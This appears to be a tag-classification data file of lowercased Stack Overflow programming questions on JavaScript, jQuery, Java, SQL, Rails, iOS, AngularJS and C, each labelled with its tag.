hide static variable from other functions  i m having trouble getting my function to increment user id on the creation of every new object  but also preventing other functions from changing it.   <pre><code>function user(u_name) {     this.user_name = u_name;     this.user_id = user.next_user_id++; }  user.next_user_id = 1;  user1 = new user( john ); user2 = new user( jane ); </code></pre>   if i move next_user_id into function user as <code>var next_user_id</code> then it gets reset on every new object  which is not what i want. how can i increment user_id for every new object but prevent other functions from changing it,javascript
code for finding pythagorean triplets  i am currently attempting this question :   <blockquote>    a pythagorean triplet is a set of three natural numbers  a  b and c  for which   a<sup>2</sup> + b<sup>2</sup> = c<sup>2</sup>.        for example  3<sup>2</sup> + 4<sup>2</sup> = 9 + 16 = 25 = 5<sup>2</sup>.        there exists exactly one pythagorean triplet for which a + b + c = 1000.   find the product abc.  </blockquote>   my code is as follows  i think it should be correct  but the site is telling me my answer is wrong  can someone help me see the flaws in my logic please    <pre><code>public class pythagoras {     public static void main(string[] args) {             int sum = 1000;             int a;             int product=0;             for (a = 1; a &lt;= sum/3; a++)             {                 int b;                 for (b = a + 1; b &lt;= sum/2; b++)                 {                     int c = sum - a - b;                     if ( c &gt; 0 &amp;&amp; (a*a + b*b == c*c) )                        system.out.printf( a=%d  b=%d  c=%d\n  a b c);                         product = a * b * c;                 }             }             system.out.println(product);         }     } </code></pre>,java
how to properly append ajax result to existing ul  li using jquery  i ve checked all the previous answers to the recommended questions and i can t figure out what i m doing wrong.      currently i m making an ajax call with this code:   <pre><code>  $( .pricingcalculator ).ready(function(){     $( #size li ).on( click   function(){      if($(this).text() !=   )     {       var productid =  $(this).attr( value );        // here we ll make ajax call to post details of dropdown and get new data      $.ajax({       url: {{ url( product_details/fetch/productid ) }} .replace( productid   productid)        datatype:  json         success:function(result)       {       // clear the drop downs so no data will be there       $( ul[data-dependent= quantity ] ).empty();        // add quantity drop down based on selected size       $.each(result.productquanties  function(i  item) {       $( ul[data-dependent= quantity ] ).append( &lt;li value=  + item.quantity_name +  &gt;&lt;span&gt;  + item.quantity_name +  &lt;/span&gt;&lt;/li&gt; );       })        // add stock options based on selected size       $.each(result.productpaperstock  function(i  item) {       $( ul[data-dependent= stock ] ).append( &lt;li value=  + item.name +  &gt;&lt;span&gt;  + item.name +  &lt;/span&gt;&lt;/li&gt; );       })       //$( ul[data-dependent= quantity ] ).html(productquantity);       }      })     }    }); </code></pre>   my ajax calls returns the proper data and it creates the li and values which is visible in the html.  here is an example of the html block before the li gets inserted.   <pre><code>  &lt;div class= block-options col-md-4 col-sm-5 &gt;     &lt;div class= options-col &gt;       &lt;span class= cur-option-w &gt;         &lt;span class= cur-option-val &gt;quantity&lt;/span&gt;         &lt;i class= fa fa-angle-down &gt;&lt;/i&gt;       &lt;/span&gt;       &lt;ul class= d-none po-list  name= quantity  id= quantity  data-dependent= quantity &gt;         &lt;li&gt;&lt;span&gt;please select size&lt;/span&gt;&lt;/li&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   after the ajax data is inserted i get my list like so. <a href= https://i.stack.imgur.com/gkzku.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gkzku.png  alt= enter image description here ></a>    the problem is i can t select that data.  by select i mean simply click it and it be highlighted.  i read up on binding but i couldn t figure out what i m doing wrong.  there s a few questions here that cover how to append jquery ajax and also about binding the elements.,jquery
how to stop .next() going off list of li s  i am working on a gallery where i navigate previous and next list items using arrow keys. now using <code>.next()</code> and <code>.prev()</code> i am able to navigate really nice but the problem starts when the last list item is there and the jquery goes to <code>.next()</code>.    how can i stop  a process that it won t go after last li item.    i mean the <code>next()</code> function dosent apply after last li. here is my sample code   <pre><code>  var ul = $( #thumbslist ); ul.find( li ).first().addclass( current ); </code></pre>   this one adds a class.   <pre><code>    $(document).ready(function () {     $( #nexthandler ).click(function () {          var nextlistitem = ul.find( li.current ).next();          ul.find( li.current ).removeclass( current );         nextlistitem.addclass( current );         var imagepath = ul.find( li.current ).children( img ).data( fullsrc );         // setting image path to current next image path         $( #fullimageplaceholder ).attr( src   imagepath);       }); }); </code></pre>   this does the job. <strong>but the problem starts when it jumps of the last li.</strong> how to stop it. thanks.,jquery
what does this selector do in jquery   what does this selector do in jquery:   <pre><code>$( tr[parents*=x +1111014+ x] ); </code></pre>   thanks,jquery
python: confusion with import  i am working on writing a python code and creating my own packages for ease. but getting confused. my directory structure is like:   <pre><code>testing_validate.py lib/     conf.py     logs.py     validate_files/         validate_tls_config_file.py         __init__.py </code></pre>   here  <code>testing_validate.py</code> goes like this:   <pre><code>#!/usr/bin/python  import os import sys  path = os.path.abspath( ./lib )    #gets you absolute path of the library sys.path.insert(0  path)        #you can insert that path(taken above) in the path variable of the system  import conf conf.log_file_name =  /var/log/configtls.log   from validate_files import validate_tls_config_file #conf.log_file_name =  /var/log/configtls.log   if validate_tls_config_file.validate_tls_config_file(conf.config_file_location) == false:     print  check log file for error:    conf.log_file_name </code></pre>   inside <code>conf.py</code>  i have:   <pre><code>log_file_name =    </code></pre>   and inside <code>validate_tls_config_file.py</code>  i am performing some validations on some file. contents:   <pre><code>import conf from logs import * import os  @log_procedure_call def validate_tls_config_file(file_path): </code></pre>   confusion is in the file <code>testing_validate.py</code>. here  when i am using <code>conf.log_file_name =  /var/log/configtls.log </code> after <code>import conf</code> and before <code>from validate_files import validate_tls_config_file</code>  the variable is getting initialized. but instead  if i am using <code>conf.log_file_name =  /var/log/configtls.log </code> after <code>from validate_files import validate_tls_config_file</code> (shown as commented above)  the variable s value is not reflected in <code>validate_tls_config_file</code>.     as per my understanding  this should work both ways. the variable is imported in <code>validate_tls_config_file.py</code> as well. so  any modifications before that function is called should be reflected. but why is this not happening,python
how to convert 1000000 to 1m and 1000 to 1k on javascript  i want to convert 1000000 to 1m also for 1000 to 1k    any ideas     i need it for my special project,javascript
how to enable and disable cells in uitableview  i have a project in which i want to disable the cells of a <code>uitableview</code> at the beginning when the view loads  and after pressing a button  the cells of the <code>uitableview</code> should be enabled and should work properly.    how can i do this,iphone
framework not found in firebase sdk  i have tried to add firebase sdk using pods  but when i run the project i am getting the error framework not found. what can i do to solve this issue     <a href= https://i.stack.imgur.com/69lju.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/69lju.png  alt= error ></a>,objective-c
calculating time worked during lunch break - shift workers  i am trying to create a query that will calculate the hours worked by employees working during a night shift  ie. from 18:00 to 3:00am the next morning.  they are given a break between 10pm and 11pm everyday. the problem is creating the calc_last_clock_time.  i cant seem to get the last clock  becasue when i use  max(clockout)  it gives me the last clock for that day.  the last clock will actually be on the following morning at 3:35:10.    if i take clockins like this:   <pre><code>name         clocktime      direction person a      18:00:15         in person a      10:05:10         out person a      10:35:45         in person a      03:35:10         out </code></pre>   i need to get the person s first and last clockin for the shift  as well as how many hours he worked.  i also need to know how long he worked during his lunchbreak.  i have the following code at the moment.  can anyone help me to get this working    <pre><code>; with emp_clock as (     select distinct fullname = pers.[name] +     + pers.surname                  rowno = row_number() over (partition by pers.personel_id             order by c.clocktime)                  clockdate = dateadd(day  datediff(day  0  c.clocktime)  0)                  dayadj = case when default_shift_end &lt; default_shift_start then 0         else 1 end                  clocktime    = rc.clocktime                  directionname = dir.[name]                  shiftrulegroup = rules.[name]                  shiftstarttime = convert(varchar(10)  rules.default_shift_start  108)                  shiftendtime = convert(varchar(10)                   rules.default_shift_end                                 rules_srbreak    = srbreak.[name]                  breakstarttime    = srbreak.sr_break_starttime                  breakendtime    = srbreak.sr_break_endtime         from personnel pers                 inner join clockins c on pers.personel_id = c.person_id                 inner join direction dir on    rc.direction_id = dir.direction_id                 inner join empshiftgroup on pers.personel_id =                   empshiftgroup.employee_id                 inner join rules rules on rules.rules_id = empshiftgroup.rules_id                 inner join sday on rules.rules_id = sday.rules_id                 left outer join srbreak on srbreak.srday_id = srday.srday_id)   timelog             as  (     select                fullname = coalesce(ci.fullname  co.fullname)                 clocktime = coalesce(ci.clocktime  co.clocktime)   shiftrulegroup = coalesce(ci.rule  co.rule)    shiftstarttime = coalesce(ci.shiftstarttime  co.shiftstarttime)   shiftendtime    = coalesce(ci.shiftendtime  co.shiftendtime)                       srbreak = coalesce(ci.srbreak  co.srbreak)                      breakstarttime = coalesce(ci.breakstarttime  co.breakstarttime)                      breakendtime = coalesce(ci.breakendtime     co.breakendtime)                      clockin = coalesce(ci.clocktime  co.clockdate - co.dayadj + co.shiftstarttime)                      clockout = coalesce(co.clocktime  ci.clockdate + ci.dayadj + ci.shiftendtime)             from emp_clock ci  full outer join emp_clock co on    ci.personel_id    = co.personel_id                 and ci.rowno = co.rowno - 1                   and co.clocktime &lt; dateadd(day  1  ci.clockdate) + ci.shiftstarttime             where not (ci.directionname is null                     and co.directionname =  in )                   and not (ci.directionname =  out                          and    co.directionname is null)                   and (ci.directionname =  in                      or ci.directionname is null))  detail as (         select fullname  clocktime  clockin clockout  shiftstarttime  shiftendtime   breakstarttime  breakendtime                      timebeforeshiftstart = case when clockin - dateadd(day  datediff(day  0  clockin)  0) &lt;  shiftstarttime then clockin - dateadd(day  datediff(day  0  clockin)  0) end                      timebeforeshiftend = case when clockin - dateadd(day  datediff(day  0  clockin)  0) &lt;  shiftstarttime then shiftstarttime end                      timeaftershiftstart = casee when clockout - dateadd(day  datediff(day  0  clockout)  0) &gt;  shiftendtime then shiftendtime end                  timeaftershiftend = case when clockout - dateadd(day  datediff(day  0  clockout)  0) &gt;  shiftendtime then clockout - dateadd(day  datediff(day  0  clockout)  0) end           from timelog)                  summary as (         select distinct fullname  clockdate = convert(nvarchar(10)  dateadd(day  datediff(day  0  clockin)  0) 111)  min(clocktime) as calc_first_clock     calc_last_clock =       totalworkhours = cast(sum(datediff(minute  clockin  clockout) / 60.0) as decimal(4 2))                      before_shift = cast(isnull(sum(datediff(minute  timebeforeshiftstart  timebeforeshiftend))  0) / 60.0 as decimal(4 2))                      after_shift = cast(isnull(sum(datediff(minute  timeaftershiftstart  timeaftershiftend))  0) / 60.0 as decimal(4 2))               from detail             group by  dateadd(day  datediff(day  0  clocktime)  0)   personel_id  fullname  clockin clockout  shiftstarttime  shiftendtime   breakstarttime  breakendtime )       select * from summary    </code></pre>,sql
anti-csfr with jquery.ajax and asp.net  i m doing a lot of ajax calls to the server with jquery and i ve been looking around but found no definitive solution other than <a href= http://weblogs.asp.net/dixin/archive/2010/05/22/anti-forgery-request-recipes-for-asp-net-mvc-and-ajax.aspx  rel= nofollow >this</a>.     i was wondering if someone could detail the steps to take both on the server and on the client to make an asp.net application secure.    thanks.,asp.net
how to use select statement to insert values on a table  i am trying to insert theses values to my table student but i have an error      <pre><code>insert into student(first_name last_name student_number professor_id)   values(eden yuan 323744573     select professor_id from professors where professor_name =   chu  ) </code></pre>   i get an error    <blockquote>    saying missing expression  </blockquote>,mysql
delay() doesn t work  i am using delay() in this code but it doesn t work ...    <pre><code>   $j(function(){       $j( .select-plan #container ul li ).hover(function(){          $j(this).find( .checkout-pop-out ).delay(500).stop(true  true).fadein(200);       } function(){          $j(this).find( .checkout-pop-out ).stop(true  true).fadeout(200);       });     }); </code></pre>   how can i fix this  thanks,jquery
it is possible let user insert text and image in a field   i m developing an applet user write their journal. in the journal  may having rich text and multiple picture. how can i let user insert text and image in a same field like this.       is it any available component or libraries to do this     <img src= https://i.stack.imgur.com/q3bui.png  alt= ui of wordpress >,android
how to step reader.readline() in two for cycles    i am reading data from a txt file. i want to create new objects from every ten lines and  .  indicates that the current object doesn t have any more data lines (i work with two types of object( nemfuggetlen  and  fuggetlen )   fuggetlen  has 9 and  nemfuggetlen  has 7 lines   .  separates their data lines).     the problem is: when i read two  nemfuggetlen  objects in a row  it works fine  but if i read  fuggetlen  after  nemfuggetlen  it makes  -------  to the next object first data lines  when it shouldn t. for  nemfuggetlen  object it should fill the last 3 lines of  adatok  string array with  -------  and step to the next object.   <pre><code>int sorokszama = 0;     input.mark(300);      while((s = input.readline()) !=null){      sorokszama++;      system.out.println( sorok szama :   + sorokszama);     input.reset();       for(int h = 0; h &lt; sorokszama/10; h++){         for(int i = 0;(s = input.readline()) !=null; i++) {             if(i &lt; 10){                 if(!( . .equals(s))) {                     adatok[i] = s;                     system.out.println(adatok[i]);             }                  else {                     adatok[i] =  ------- ;                     system.out.println(adatok[i]);                     break;             }            }            }         if( ferfi .equals(adatok[2])){              nem = true;         }         else {             nem = false;         }          if( van .equals(adatok[4])){             tamogato = true;         }         else{             tamogato = false;         }         if( ------- .equals(adatok[7])){    //a kepviselo nem fuggetlen         k = new nemfuggetlen(adatok[0]  integer.parseint(adatok[1])  nem  adatok[4]  new kerulet (integer.parseint(adatok[5]))  adatok[6]);         }         if( ------- .equals(adatok[9])){ // a kepviselo fuggetlen         k = new fuggetlen(adatok[0]  integer.parseint(adatok[1])  nem  adatok[4]  new kerulet (integer.parseint(adatok[5])) tamogato  adatok[7]  integer.parseint(adatok[8]));         }          kepviselok.add(k);         //system.out.println(kepviselok.get(0));     }     system.out.println( kepviselok szama :   + sorokszama/10);     for(int i = 0; i &lt; kepviselok.size(); i++) {     system.out.println((i+1) +  . tag :   + kepviselok.get(i));     }     input.close(); </code></pre>,java
font or images   i ve been wondering about this for some time now. in the game angry birds whenever a pig dies  a number appears depicting the amount of points gained by killing the pig. are those digits part of a ttf font that the developers created  or  are they simply images imported into the program  a good indicator that they are images is if there are multiple colors used in each digit (such as a gradient)  but it seems as if one constant color is used  green.    as far as my understanding goes  fonts are black and white  and one can only replace the black with one color.    so  are the numbers that appear when killing pigs in angry birds part of a ttf font that the developers created  or just a series of images strung together     here is an example of what i m talking about: <a href= http://www.youtube.com/watch v=_iqbz3kngwq  rel= nofollow >angry birds</a>,objective-c
how to make a whole div be a link to somewhere   i have a div block that i want to be a link to somewhere.  i don t think i can just wrap it in an anchor tag because i don t think you re supposed to wrap an inline element around a block element.    currently i just use javascript and it works fine except that the status bar doesn t show the destination url when they hover over the div.,html
awaiting httpclient  here is the code -    version 3: remove r.result and it still doesn t work.   <pre><code>protected async void login(logininfo _credentials) {     httpresponsemessage r = await dologin( demo    abc123$ );      if (r.issuccessstatuscode)     {         accountaccess aa = new accountaccess();              var x = await r.content.readasstringasync();              aa = jsonconvert.deserializeobject&lt;accountaccess&gt;(x);             application.current.properties[ access_token ] = aa.access_token;      }     else //if (lr == loginresult.loginres.noauth)     {         alert( alert    username/password combination is incorrect    ok );     } }  private async task&lt;httpresponsemessage&gt; dologin(string username  string password) {     httpclient client = new httpclient();     client.baseaddress = new uri(constants.loginurl);      var response = await client.postasync( token   new stringcontent( grant_type=password&amp;username=  + username +  &amp;password=  + password  encoding.utf8));      return response; } </code></pre>   the await call to post the username and password and get a token never returns.    am i doing something incorrect,c#
how to use a c array as instance variable   for example i want to store this in an ivar:   <pre><code>cgfloat color[4] = {red  green  blue  1.0f}; </code></pre>   so would i put this in my header    <pre><code>cgfloat color[]; </code></pre>   how would i assign values to that guy later  i mean i can t change it  right,objective-c
return the last sub sorted row in a table (sql)  it s quiet hard to describe this problem but it s easy to see it graphically:   <pre><code>    x    y     1    1     2    1     3    1   * 4    1 *     5    2   * 6    2 *      7    3         8    3     9    3  * 10    3 * </code></pre>   i have sorted a table by x  then sub-sorted by y. i need to return the x value of the last item in the sub-sorted table (the stared rows).    i m aware of the last command  but i don t know how to apply this recursively i.e. to each sub-sorted section.    best     dan,sql
"overflow hidden issue  does anyone know why <code>overflow: hidden</code> doesn t work in the below example   i want to achieve that the black bar slides right inside the <code>.product-btn</code> if someone hovers over it.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.product-btn{
 width: 250px;
 height: 50px;
 margin: 0 auto; 
 text-align: center;
 border: 1px solid #f39c12;
 background-color: #fff;
 transition: .5s ease-in-out;
 overflow: hidden;
 
 }
 .product-btn:before{
 content:    ;
 position: absolute; 
 
 left: -125px;
 width: 250px;
 height: 50px;
 background-color: black;
 transition: .5s ease-in-out;
 
 
 
 }
 .product-btn:hover:before {
 left: 125px;
 
 }
 
 .product-btn-text{
  letter-spacing: 1px;
  
  
 }
 .product-btn: hover {
 color: red;
 z-index: 1;
 cursor: pointer; 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= product-btn &gt;
 &lt;span class= product-btn-text &gt;text&lt;/span&gt;
 &lt;/div&gt; </code></pre>
 </div>
 </div>",css
why do constraints 0 0 0 0 not fit the whole view   example 1    i am using xcode 8.2 beta and when i try to make view fits the whole screen it does not include the section where battery icon at .    <a href= https://i.stack.imgur.com/d7n9z.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/d7n9z.png  alt= enter image description here ></a> <a href= https://i.stack.imgur.com/tdovw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/tdovw.png  alt= enter image description here ></a>    update the frames and then    <a href= https://i.stack.imgur.com/cou7q.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cou7q.png  alt= enter image description here ></a>    example 2    when i try to cover whole view first  and then set constraints 0 0 0 0  it fits the whole screen.    <a href= https://i.stack.imgur.com/klt5r.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/klt5r.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/as4x2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/as4x2.png  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/e9fme.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/e9fme.png  alt= enter image description here ></a>    in both example i set constraints 0 0 0 0  but different results. why   can somebody explain please   thank you !,ios
ruby on rails  send_file takes forever for download dialog box to display  so i have a ~40mb .wav file that users are downloading with the click of a button. the markup looks like this:   <pre><code>            &lt;div class= row &gt;                 &lt;div class= col-md-6 &gt;                     &lt;%= link_to  download single   download_song_path  class:  btn btn-default btn-custom  %&gt;                 &lt;/div&gt;                 &lt;div class= col-md-6 &gt;                     &lt;%= link_to  download artwork   download_artwork_path  class:  btn btn-default btn-custom  %&gt;                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   and the controller is this:   <pre><code>class welcomecontroller &lt; applicationcontroller     def index     end    def download_song     send_file  #{rails.root}/public/white-flame.wav   :x_sendfile =&gt; true  :type=&gt; audio/wav   :filename =&gt;  white-flame.wav    end    def download_artwork     send_file  #{rails.root}/public/white-flame-artwork.jpg   :x_sendfile =&gt; true  :type=&gt; image/jpg   :filename =&gt;  white-flame.jpg    end end </code></pre>   the artwork download works fine  it s only a ~2mb file  but the .wav file literally takes 20 seconds or so just for the download dialog to display. what s the issue  i just want the user to be able to click  download  and it download.,ruby-on-rails
clearing nested floats  i m creating a tiled grid of images much like an image gallery with a grid of thumbnails  and i need the images to wrap onto the next row after 3 images. so i m floating a bunch of divs that each contain an image and then clearing the float manually after three images.    the problem is that i m working within a rather convoluted existing template that already makes use of float to arrange everything. clearing the float in my grid scrambles the entire page  presumably because it s clearing every float in page so far. what can i do      i m clearing the float using by inserting a blank div. ie:   <pre><code>&lt;div style= clear:right &gt; </code></pre>   might one of the other methods for clearing floats work better,css
event not triggered out of document.ready function in jquery  i am trying to trigger some event in jquery. my trigger functionality is outside of document.ready function. its not working. if i put the code inside document.ready function its working.    some other events triggered even they are outside of document.ready function.    please let me clear the functionality that why some events working only inside document.ready function.    thanks,jquery
bind click of tab key with some function using jquery  i need to bind my tab key to a particular function. i.e. whenever i press tab key it should perform a particular function.    what i have done is    <pre><code>$( body ).on( keydown    .myclass :visible:input:enabled:first   function (e) {     if ((e.which == 9) || (e.keycode == 9)) {         $( .myclass :visible:input:enabled:first ).focus();     } }); </code></pre>   this is working fine with no issues in functionality. however  this is making the page performance to take a hit  since with every key hit  this function would be called. i was thinking to find any way to bind click of only tab key  so that this code should run only when a tab key is hit and should ignore all other key presses.,jquery
how to replace order.first by current_order    i have trouble to find the solution to my problem  i want to replace order.first in my paypal_express_helper.rb :   <pre><code>  def get_totals(order)     subtotal = order.first.subtotal     return subtotal   end </code></pre>   by the order that is assigned to the user. here s my model/order.rb :   <pre><code>class order &lt; activerecord::base   belongs_to :order_status   has_many :order_items   before_create :set_order_status   before_save :update_subtotal    def subtotal     order_items.collect { |oi| oi.valid    (oi.quantity * oi.unit_price) : 0 }.sum   end  private    def set_order_status     self.order_status_id = 1   end    def update_subtotal     self[:subtotal] = subtotal   end end </code></pre>,ruby-on-rails
jquery copy attributes  i google it up but didn  find something like this.    i am having an iframe with 2 main attributes src=# and link=<a href= http://somesite.com  rel= nofollow noreferrer >http://somesite.com</a>   <pre><code>&lt;iframe id= myiframe  src= #  link= https://somesite.com id=x&amp;anotherid=y  style= position:absolute; left:0px; top:0px; width:99%; min-width:80%; height:99%; min-height:80%; padding:0px; &gt;&lt;/iframe&gt; </code></pre>   i load that iframe in html from some php script but i don t want to load the page thats why i used # as source  now when i click a button on the site it will load the iframe (if it was not loaded from a previous click)  my temporary solution was:    <pre><code>&lt;input type= button  value= load  onclick= var fr = document.getelementbyid( myiframe );if(fr.src.substr(-1)== # ){fr.src=document.fr.getattribute( link )};  /&gt; </code></pre>   now i had a little time to implement the jquery and i whant to know if there is some simple code in jquery to copy from an attribute to another  or if there is a better solution to accomplish this.    something like this:     $( #myiframe ).attr( src   attr( link ));    i know the folowing will work   <pre><code>$( #myiframe ).attr( src   attr( link )); </code></pre>   but i think is not to much to select the same element twice. (i am kind of an optimizer maniac :) )    or you think that i have to use a function:   <pre><code>$( #myiframe ).attr( src   function(){     ... }); </code></pre>   my question is what is the best way to achieve this.  thank you.,jquery
what is a controller s change event in angular   is it same as $watch a model   i m trying to figure out an angular <a href= https://github.com/fmaturel/angular-weekly-scheduler  rel= nofollow noreferrer >module</a>(this question isn t specific the module i m studying but just about an angular specific syntax which i didn t understand what) and inside its main directive  the controller was passed to the link function and then a change event listener was hooked to it :   <pre><code>schedulerctrl.on = {       change: function (itemindex  scheduleindex  schedulevalue) {            var onchangefunction = $parse(attrs.onchange)(scope);            if (angular.isfunction(onchangefunction)) {                 return onchangefunction(itemindex  scheduleindex  schedulevalue);            }       } }; </code></pre>   (this chuck of code exists in the <a href= https://github.com/fmaturel/angular-weekly-scheduler/blob/master/dist/js/ng-weekly-scheduler.js  rel= nofollow noreferrer >ng-weekly-scheduler.js file</a> at line 362.)    the <code>attrs.onchange</code> is gotten from the directive declaration in html which looks like this :   <pre><code>&lt;weekly-scheduler class= scheduler  items= model.items  on-change= demo.dosomething  on-delete= demo.dosomething  options= model.options &gt;       &lt;div class= srow &gt;{{::$index + 1}}. {{item.label}}&lt;/div&gt; &lt;/weekly-scheduler&gt; </code></pre>   i have never heard about setting an event listener to an angular controller. so please  anyone can tell me what does it means and to which part of the angular api is it related  !,angularjs
get uri from file or filepath  i have file in this path:   <pre><code>file:/storage/emulated/0/iwallet/photos/jpeg_20180119040510_972640968.jpg </code></pre>   i want to convert it to <code>android.net.uri</code> and use it in this:   <pre><code>intent takepictureintent = new intent(mediastore.action_image_capture);     if (takepictureintent.resolveactivity(getactivity().getpackagemanager()) != null) {         if (photofile != null) {             takepictureintent.putextra(mediastore.extra_output photofile.touri());             startactivityforresult(takepictureintent  request_take_camira);         }     } </code></pre>,android
how to display and object relation when some records might not have its value associated yet   i m starting to learn rails and i don t know what s the best practices from the language yet.    i have scaffolded <code>ticket</code> and <code>status</code> models (a ticket has its current status). in my database i have records that has no status associated to (<code>ticket.status</code> is <code>nil</code>)  but i also have records that has a status already associated (<code>ticket.status</code> has <code>#&lt;status&gt;</code> object).    when i m listing all tickets in a table (<code>/tickets</code> url) i m listing the tickets and displaying the status name (<code>status.nome</code>) like this:   <pre><code>%td= ticket.status.nome </code></pre>   but i get an error when some records has no status associated: <code>undefined method  nome  for nil:nilclass</code>    how should i proceed in this case     --   <h1>updated</h1>   <code>ticket.all</code> gives me:   <pre><code>#&lt;ticket id: 5  titulo:  aeeee   descricao:  desc   user_id: nil  status_id: nil  created_at:  2015-09-11 07:01:38   updated_at:  2015-09-11 07:01:38 &gt; #&lt;ticket id: 6  titulo:  teste   descricao: nil  user_id: nil  status_id: 1  created_at:  2015-09-11 07:09:45   updated_at:  2015-09-11 07:09:45 &gt; </code></pre>,ruby-on-rails
when i run  bin/rails  x    in powershell  instead of executing the command it asks me which program i want to open it with   new to learning rails. i m following a tutorial and it has asked me to execute a few commands in the terminal with the format <code>bin/rails  x </code>  for example <code>bin/rails server</code> or <code>bin/rails generate model article</code>. when i run these commands without the <code>bin/</code> at the front  it seems to work fine  but when i include that part a pop-up appears asking me which program i would like to open this with. i m not sure why it s not running in the terminal and is instead trying to run the command in a separate program.    edit: i was able to solve the problem by running it like <code>ruby bin\rails  x </code>,ruby-on-rails
how to type   ----- insert text -----  in html   similar to how you would get a solid line using multiple underscores  is there a way in html to write  -------  without the dashes  appreciate any help.     thanks!,html
redirect from custom devise edit page  i am using devise for user registrations. i set up a custom edit page  /info  to use as an additional signup page. the only problem is after you submit the edits on the info page it redirects to the user profile. i am able to change it redirect to the home page (where i want after /info) but then it also redirects there from the normal edit page. i am not sure how to redirect based on what page the user is on.    my one idea was to get the users current path and use an if statement but i haven t been able to get that to work.    registrations_controller.rb:   <pre><code> def update  ...  current_uri = request.env[ path_info ]   if current_uri ==  /info    redirect_to root_path  notice:  welcome    else    redirect_to user_path(@user)  end   end </code></pre>   normally it just looks like this:   <pre><code> def update   ...  redirect_to user_path(@user)  end </code></pre>,ruby-on-rails
objective-c: understanding properties  so here s what i know about properties in objective-c. please correct me if these are not facts.   <ol> <li>when declaring a property you are declaring the setter/getter for a instance variable</li> <li>if you want to have the setter and getters defined you need to synthesize them</li> <li>if you synthesize  the instance variable is defined for you. best practice is to rename the ivar so that the getter and ivar aren t the same name. so you usually do: @synthesize myvar = _myvar</li> </ol>   all of my knowledge about properties is coupled with instance variables. i ve watched some videos recently that say properties can be used for other instance methods besides setters/getters.     is this true  if so  how and why would  you use a property in this way  for instance i was watching a stanford cs193p video about protocols and it said that you could have a prototype in a protocol. i could of misunderstood.     anyways thanks to those who respond,objective-c
angularjs - how to use input field with strict search   i am struggling to find a way so that a user can input an employee id number into an input field and then have the table display only the relevant fields.     right now my problem is that the ng-repeat filters display any id numbers  containing  the id number rather than the actual id number.     i ve tried doing a strict search but must be doing it wrong. heres my code sample:   <pre><code>&lt;div ng-app= myapp  ng-controller= listallusersctrl &gt;     &lt;form align= center &gt;         &lt;label&gt;enter user id: &lt;input type= text  ng-model= search  id= search  placeholder= user id &gt;         &lt;/label&gt;&lt;br&gt;     &lt;/form&gt;      &lt;div class= container &gt;         &lt;table class= table table-default table-striped table-bordered text-center &gt;             &lt;thead&gt;                 &lt;tr&gt;                     &lt;td&gt;amount&lt;/td&gt;                     &lt;td&gt;reimb. id&lt;/td&gt;                     &lt;td&gt;receipt&lt;/td&gt;                     &lt;td&gt;author&lt;/td&gt;                     &lt;td&gt;solved&lt;/td&gt;                     &lt;td&gt;submit&lt;/td&gt;                     &lt;td&gt;type&lt;/td&gt;                     &lt;td&gt;status&lt;/td&gt;                     &lt;td&gt;description&lt;/td&gt;                     &lt;td&gt;resolver&lt;/td&gt;                  &lt;/tr&gt;             &lt;/thead&gt;             &lt;tbody&gt;                 &lt;tr ng-repeat= x in reimb | filter:{ reimb_author : search} &gt;                     &lt;td&gt;{{ x.reimb_amount | currency}}&lt;/td&gt;                     &lt;td&gt;{{ x.reimb_id }}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_receipt}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_author}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_solved}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_submit}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_type}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_status_id}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_description}}&lt;/td&gt;                     &lt;td&gt;{{x.reimb_resolver}}&lt;/td&gt;                        &lt;/tr&gt;             &lt;/tbody&gt;         &lt;/table&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
.net directory class have to close handle   when using the .net directory class methods like enumeratefiles or getfiles or getdirectories i assume that they take hold of an unmanaged handle. how is that handle released  are they using idispose  i mean is there possibility of a handle leak,.net
counting the occurrences of a word from a text file in c  the following code is intended to find the occurrences of the word  if  from a text file chosen by the user  however the result after exiting the loop is always 0. question is how it could be possibly fixed.   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; #include&lt;string.h&gt; int main() {     file * f;     int count = 0  i;     char buf[50]  read[100];     printf( which file to open\n );     fgets(buf  50  stdin);     buf[strlen(buf) - 1] =  \0 ;     if (!(f = fopen(buf   rt ))) {         printf( wrong file name );     } else printf( file opened successfully\n );     for (i = 0; fgets(read  100  f) != null; i++) {         if (read[i] ==  if ) count++;     }     printf( result is %d   count);     getch();     return 0; } </code></pre>,c
how to take picture from camera using iphone app  i have implemented picture taking while pressing ui button butwhen ever i pressed the button got app crashed.    here is the source code.   <pre><code>.h file @interface camera : uiviewcontroller                                  &lt;uiimagepickercontrollerdelegate&gt; {    uiimagepickercontroller *mpicture;  } @property (nonatomic  retain) uiimagepickercontroller *mpicture;  .m file @implementaion camera @synthesize mpicture;      -(void)picturebuttonpushed     {     uiimagepickercontrollersourcetype mtype = uiimagepickercontrollersourcetypecamera;         if ([uiimagepickercontroller issourcetypeavailable:mtype])          {             mpicture.sourcetype = mtype;             [self presentmodalviewcontroller:mpicture animated:yes];         }     } </code></pre>   thanks in advance,iphone
